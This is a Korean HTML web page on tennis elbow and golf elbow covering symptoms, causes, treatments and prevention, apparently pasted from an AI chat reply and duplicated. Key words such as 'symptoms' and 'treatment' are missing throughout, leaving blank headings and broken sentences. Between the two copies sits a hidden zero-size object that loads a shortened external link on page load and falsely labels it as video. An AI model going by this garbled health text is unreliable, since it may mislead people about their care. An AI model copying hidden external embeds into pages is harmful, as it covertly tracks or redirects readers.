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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">팔꿈치 통증: 테니스엘보 &amp; 골프엘보 과 </h2><p data-sourcepos="3:1-3:90">팔꿈치 통증은 현대인들에게 흔히 나타나는 중 하나입니다. 특히 테니스엘보와 골프엘보는 반복적인 팔 사용으로 인해 발생하는 대표적인 팔꿈치 통증 입니다.</p><h3 data-sourcepos="5:1-5:11">테니스엘보란?</h3><p data-sourcepos="6:1-6:161">테니스엘보는 팔꿈치 바깥쪽 부위에 통증이 발생하는 입니다. 주로 팔을 앞뒤로 반복적으로 움직이는 동작이나 무거운 물건을 드는 동작을 자주 하는 사람들에게 많이 발생합니다. 테니스 선수들에게 자주 나타난다고 해서 붙여진 이름이지만, 테니스를 치지 않는 일반인에게도 발생할 수 있습니다.</p><h3 data-sourcepos="8:1-8:10">골프엘보란?</h3><p data-sourcepos="9:1-9:149">골프엘보는 테니스엘보와 반대로 팔꿈치 안쪽 부위에 통증이 발생하는 입니다. 주로 손목과 손가락을 굽히는 동작을 반복적으로 하는 사람들에게 많이 발생합니다. 골프 선수들에게 자주 나타난다고 해서 붙여진 이름이지만, 골프를 치지 않는 일반인에게도 발생할 수 있습니다.</p><h3 data-sourcepos="11:1-11:6"></h3><ul data-sourcepos="12:1-17:0">
<li data-sourcepos="12:1-12:22">팔꿈치 바깥쪽 또는 안쪽 부위에 통증</li>
<li data-sourcepos="13:1-13:23">손목이나 손가락을 움직일 때 통증 악화</li>
<li data-sourcepos="14:1-14:20">물건을 잡거나 쥐는 동작이 어려움</li>
<li data-sourcepos="15:1-15:11">팔꿈치 부위 압통</li>
<li data-sourcepos="16:1-17:0">밤에 통증 악화</li>
</ul><h3 data-sourcepos="18:1-18:6">원인</h3><ul data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:11">반복적인 팔 사용</li>
<li data-sourcepos="20:1-20:8">과도한 운동</li>
<li data-sourcepos="21:1-21:8">잘못된 자세</li>
<li data-sourcepos="22:1-22:14">급격한 운동 강도 증가</li>
<li data-sourcepos="23:1-24:0">노화</li>
</ul><h3 data-sourcepos="25:1-25:6"></h3><ul data-sourcepos="26:1-35:0">
<li data-sourcepos="26:1-32:29"><strong>보존적 :</strong>
<ul data-sourcepos="27:5-32:29">
<li data-sourcepos="27:5-27:28">휴식: 통증 부위를 충분히 쉬게 합니다.</li>
<li data-sourcepos="28:5-28:32">냉찜질: 붓기를 가라앉히고 통증을 완화시킵니다.</li>
<li data-sourcepos="29:5-29:34">약물 : 소염진통제, 근이완제 등을 복용합니다.</li>
<li data-sourcepos="30:5-30:33">물리: 팔꿈치 주변 근육 강화 운동을 합니다.</li>
<li data-sourcepos="31:5-31:35">보조기 착용: 팔꿈치를 고정하여 통증을 완화시킵니다.</li>
<li data-sourcepos="32:5-32:29">체외충격파 : 힘줄 치유를 촉진합니다.</li>
</ul>
</li>
<li data-sourcepos="33:1-35:0"><strong>수술:</strong>
<ul data-sourcepos="34:5-35:0">
<li data-sourcepos="34:5-35:0">보존적 에도 불구하고 통증이 지속될 경우 수술을 고려할 수 있습니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="36:1-36:6">예방</h3><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:30">정기적인 스트레칭: 팔꿈치 주변 근육을 풀어줍니다.</li>
<li data-sourcepos="38:1-38:38">올바른 자세 유지: 작업 시나 운동 시 올바른 자세를 유지합니다.</li>
<li data-sourcepos="39:1-39:29">과도한 운동 삼가: 운동 강도를 서서히 높입니다.</li>
<li data-sourcepos="40:1-41:0">충분한 휴식: 팔을 충분히 쉬게 합니다.</li>
</ul><p data-sourcepos="42:1-42:68"><strong>주의:</strong> 팔꿈치 통증이 지속될 경우 반드시 전문가와 상담하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="44:1-44:55"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 에 따라 방법이 달라질 수 있습니다.</p><p data-sourcepos="46:1-46:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">팔꿈치 통증: 테니스엘보 & 골프엘보 과 </h2><p data-sourcepos="3:1-3:90">팔꿈치 통증은 현대인들에게 흔히 나타나는 중 하나입니다. 특히 테니스엘보와 골프엘보는 반복적인 팔 사용으로 인해 발생하는 대표적인 팔꿈치 통증 입니다.</p><h3 data-sourcepos="5:1-5:11">테니스엘보란?</h3><p data-sourcepos="6:1-6:161">테니스엘보는 팔꿈치 바깥쪽 부위에 통증이 발생하는 입니다. 주로 팔을 앞뒤로 반복적으로 움직이는 동작이나 무거운 물건을 드는 동작을 자주 하는 사람들에게 많이 발생합니다. 테니스 선수들에게 자주 나타난다고 해서 붙여진 이름이지만, 테니스를 치지 않는 일반인에게도 발생할 수 있습니다.</p><h3 data-sourcepos="8:1-8:10">골프엘보란?</h3><p data-sourcepos="9:1-9:149">골프엘보는 테니스엘보와 반대로 팔꿈치 안쪽 부위에 통증이 발생하는 입니다. 주로 손목과 손가락을 굽히는 동작을 반복적으로 하는 사람들에게 많이 발생합니다. 골프 선수들에게 자주 나타난다고 해서 붙여진 이름이지만, 골프를 치지 않는 일반인에게도 발생할 수 있습니다.</p><h3 data-sourcepos="11:1-11:6"></h3><ul data-sourcepos="12:1-17:0">
<li data-sourcepos="12:1-12:22">팔꿈치 바깥쪽 또는 안쪽 부위에 통증</li>
<li data-sourcepos="13:1-13:23">손목이나 손가락을 움직일 때 통증 악화</li>
<li data-sourcepos="14:1-14:20">물건을 잡거나 쥐는 동작이 어려움</li>
<li data-sourcepos="15:1-15:11">팔꿈치 부위 압통</li>
<li data-sourcepos="16:1-17:0">밤에 통증 악화</li>
</ul><h3 data-sourcepos="18:1-18:6">원인</h3><ul data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:11">반복적인 팔 사용</li>
<li data-sourcepos="20:1-20:8">과도한 운동</li>
<li data-sourcepos="21:1-21:8">잘못된 자세</li>
<li data-sourcepos="22:1-22:14">급격한 운동 강도 증가</li>
<li data-sourcepos="23:1-24:0">노화</li>
</ul><h3 data-sourcepos="25:1-25:6"></h3><ul data-sourcepos="26:1-35:0">
<li data-sourcepos="26:1-32:29"><strong>보존적 :</strong>
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<li data-sourcepos="27:5-27:28">휴식: 통증 부위를 충분히 쉬게 합니다.</li>
<li data-sourcepos="28:5-28:32">냉찜질: 붓기를 가라앉히고 통증을 완화시킵니다.</li>
<li data-sourcepos="29:5-29:34">약물 : 소염진통제, 근이완제 등을 복용합니다.</li>
<li data-sourcepos="30:5-30:33">물리: 팔꿈치 주변 근육 강화 운동을 합니다.</li>
<li data-sourcepos="31:5-31:35">보조기 착용: 팔꿈치를 고정하여 통증을 완화시킵니다.</li>
<li data-sourcepos="32:5-32:29">체외충격파 : 힘줄 치유를 촉진합니다.</li>
</ul>
</li>
<li data-sourcepos="33:1-35:0"><strong>수술:</strong>
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<li data-sourcepos="34:5-35:0">보존적 에도 불구하고 통증이 지속될 경우 수술을 고려할 수 있습니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="36:1-36:6">예방</h3><ul data-sourcepos="37:1-41:0">
<li data-sourcepos="37:1-37:30">정기적인 스트레칭: 팔꿈치 주변 근육을 풀어줍니다.</li>
<li data-sourcepos="38:1-38:38">올바른 자세 유지: 작업 시나 운동 시 올바른 자세를 유지합니다.</li>
<li data-sourcepos="39:1-39:29">과도한 운동 삼가: 운동 강도를 서서히 높입니다.</li>
<li data-sourcepos="40:1-41:0">충분한 휴식: 팔을 충분히 쉬게 합니다.</li>
</ul><p data-sourcepos="42:1-42:68"><strong>주의:</strong> 팔꿈치 통증이 지속될 경우 반드시 전문가와 상담하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="44:1-44:55"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 에 따라 방법이 달라질 수 있습니다.</p><p data-sourcepos="46:1-46:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
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